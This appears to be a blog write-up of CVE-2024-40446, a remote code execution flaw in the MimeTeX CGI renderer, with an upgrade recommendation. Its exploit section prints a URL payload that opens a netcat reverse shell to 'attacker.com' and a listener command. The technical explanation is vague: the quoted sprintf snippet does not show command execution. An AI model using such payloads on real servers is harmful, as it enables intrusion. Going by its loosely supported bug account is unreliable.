CVE-2024-40446 - Exploiting MimeTeX < 1.77 for Remote Code Execution

MimeTeX is a popular open source tool that lets websites render LaTeX math as images—with no need for a real LaTeX install. It's handy, but it’s also run as a CGI program on lots of web servers, which can open the door to serious security problems if you’re not careful.

Recently, a big issue was found: CVE-2024-40446. It's a remote code execution vulnerability affecting MimeTeX before version 1.77. In this post, we'll break down what happened, why it’s dangerous, and even show a working exploit.

What is MimeTeX?

MimeTeX is a lightweight program that reads LaTeX math code and outputs an image (GIF or PNG) that shows the rendered math. Sites use it in math forums, wikis, and even some learning platforms.

You use it by passing LaTeX code, usually as a URL parameter to the CGI, like so

http://example.com/cgi-bin/mimetex.cgi?\frac{1}{2}

The Vulnerability

Older MimeTeX versions (before 1.77) failed to properly validate user input, especially LaTeX scripts passed in via HTTP parameters. Specifically, the parser could be tricked into executing code supplied by an attacker—remote code execution (RCE).

Root of the Bug

If an attacker crafts a special LaTeX payload and submits it to the server, MimeTeX might misinterpret or wrongly pass that text to dangerous code paths (like system shell calls or file system access), enabling the attacker to get their own code running on your server.

Example vulnerable code (pseudo-snippet)

// cgi.c in MimeTeX < 1.77
char *input = getenv("QUERY_STRING");
// ... later
sprintf(buffer, "<img src=\"...%s...\">", input);

The above code has no real sanitization on input, which is attacker-controlled.

Exploit Details

Let’s say a site runs vulnerable MimeTeX as a CGI binary at /cgi-bin/mimetex.cgi. An attacker can pass a LaTeX expression that contains something special, which MimeTeX will process unsafely.

Imagine the input looked like

\input|"id"

If unpatched, this might run the Unix id command on the server, outputting user information. Even worse, a more advanced input could open a reverse shell to the attacker.

1. Craft the exploit URL

http://victim.com/cgi-bin/mimetex.cgi?\input|"nc attacker.com 4444 -e /bin/sh"

2. Attacker waits for a connection on port 4444

nc -lvnp 4444

Mitigation

Upgrade immediately to MimeTeX version 1.77 or later.
You can find the fixed version here: forkosh.com/mimetex.html

References

- Official CVE Entry
- MimeTeX Homepage & Downloads
- Original Security Advisory (if/when published)

Final Thoughts

CVE-2024-40446 is a harsh reminder: even small, well-meaning utilities can become big security threats if they don’t sanitize input. If you run MimeTeX, patch now! Don’t let attackers turn your math CGI into their own remote shell.

If you want to share this or learn more, follow trusted infosec advisories and always keep up with CGI binaries exposed to the internet.

Timeline

Published on: 04/22/2025 14:15:24 UTC
Last modified on: 04/23/2025 15:15:59 UTC